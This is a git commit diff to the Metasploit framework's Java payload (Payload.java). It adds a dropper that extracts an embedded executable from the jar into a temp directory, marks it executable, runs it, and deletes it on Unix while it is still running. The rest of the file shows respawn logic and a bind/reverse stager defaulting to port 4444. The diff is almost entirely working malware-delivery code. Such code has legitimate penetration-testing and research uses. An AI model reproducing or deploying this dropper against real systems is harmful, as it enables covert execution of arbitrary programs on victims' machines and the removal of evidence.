github/metasploit-payloads
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add ability to drop an executable from the jar. see #406, thanks mihi

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git-svn-id: file:///home/svn/framework3/trunk@10973 4d416f70-5f16-0410-b530-b9f4589650da
This commit is contained in:
James Lee 2010-11-10 19:54:56 +00:00
parent c1adf84fe3
commit 24ab45cab4
1 changed files with 56 additions and 9 deletions
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65
java/src/metasploit/Payload.java
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@ -35,7 +35,9 @@ package metasploit;
import java.io.DataInputStream;
import java.io.File;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.io.PrintStream;
@ -71,8 +73,22 @@ public class Payload extends ClassLoader {
propsStream.close();
}
// check if we should drop an executable
String executableName = props.getProperty("Executable");
if (executableName != null) {
File dummyTempFile = File.createTempFile("~spawn", ".tmp");
dummyTempFile.delete();
File tempDir = new File(dummyTempFile.getAbsolutePath()+".dir");
tempDir.mkdir();
File executableFile = new File(tempDir, executableName);
writeEmbeddedFile(clazz, executableName, executableFile);
props.remove("Executable");
props.put("DroppedExecutable", executableFile.getCanonicalPath());
}
// check if we should respawn
int spawn = Integer.parseInt(props.getProperty("Spawn", "0"));
String droppedExecutable = props.getProperty("DroppedExecutable");
if (spawn > 0) {
// decrease count so that eventually the process
// will stop spawning
@ -85,15 +101,8 @@ public class Payload extends ClassLoader {
File classFile = new File(tempDir, clazzFile);
classFile.getParentFile().mkdirs();
// load ourselves via the class loader (works both on disk and from Jar)
InputStream in = clazz.getResourceAsStream("/"+clazzFile);
FileOutputStream fos = new FileOutputStream(classFile);
byte[] buf = new byte[4096];
int len;
while ((len = in.read(buf)) != -1) {
fos.write(buf,0,len);
}
fos.close();
fos = new FileOutputStream(propFile);
writeEmbeddedFile(clazz, clazzFile, classFile);
FileOutputStream fos = new FileOutputStream(propFile);
props.store(fos, "");
fos.close();
Process proc = Runtime.getRuntime().exec(new String[] {
@ -125,6 +134,33 @@ public class Payload extends ClassLoader {
Thread.sleep(100);
}
}
} else if (droppedExecutable != null) {
File droppedFile = new File(droppedExecutable);
// File.setExecutable is Java 1.6+, therefore call it via reflection and try
// the chmod alternative if it fails. Do not call it at all for Windows.
if (!IS_DOS) {
try {
try {
File.class.getMethod("setExecutable", new Class[] {boolean.class}).invoke(droppedFile, new Object[] { Boolean.TRUE});
} catch (NoSuchMethodException ex) {
// ok, no setExecutable method, call chmod and wait for it
Runtime.getRuntime().exec(new String[] {"chmod", "+x", droppedExecutable}).waitFor();
}
} catch (Exception ex) {
// try to continue anyway, we have nothing to lose
ex.printStackTrace();
}
}
// now execute the executable.
// tempdir may contain spaces, so do not use the String variant of exec!
Runtime.getRuntime().exec(new String[] {droppedExecutable});
// Linux and other Unices allow removing files while they are in use
if (!IS_DOS) {
droppedFile.delete();
droppedFile.getParentFile().delete();
}
} else {
// check what stager to use (bind/reverse)
int lPort = Integer.parseInt(props.getProperty("LPORT", "4444"));
@ -160,6 +196,17 @@ public class Payload extends ClassLoader {
new Payload().bootstrap(in, out, props.getProperty("EmbeddedStage", null),stageParams);
}
}
private static void writeEmbeddedFile(Class clazz, String resourceName, File targetFile) throws FileNotFoundException, IOException {
InputStream in = clazz.getResourceAsStream("/"+resourceName);
FileOutputStream fos = new FileOutputStream(targetFile);
byte[] buf = new byte[4096];
int len;
while ((len = in.read(buf)) != -1) {
fos.write(buf,0,len);
}
fos.close();
}
private final void bootstrap(InputStream rawIn, OutputStream out, String embeddedStageName, String[] stageParameters) throws Exception {
try {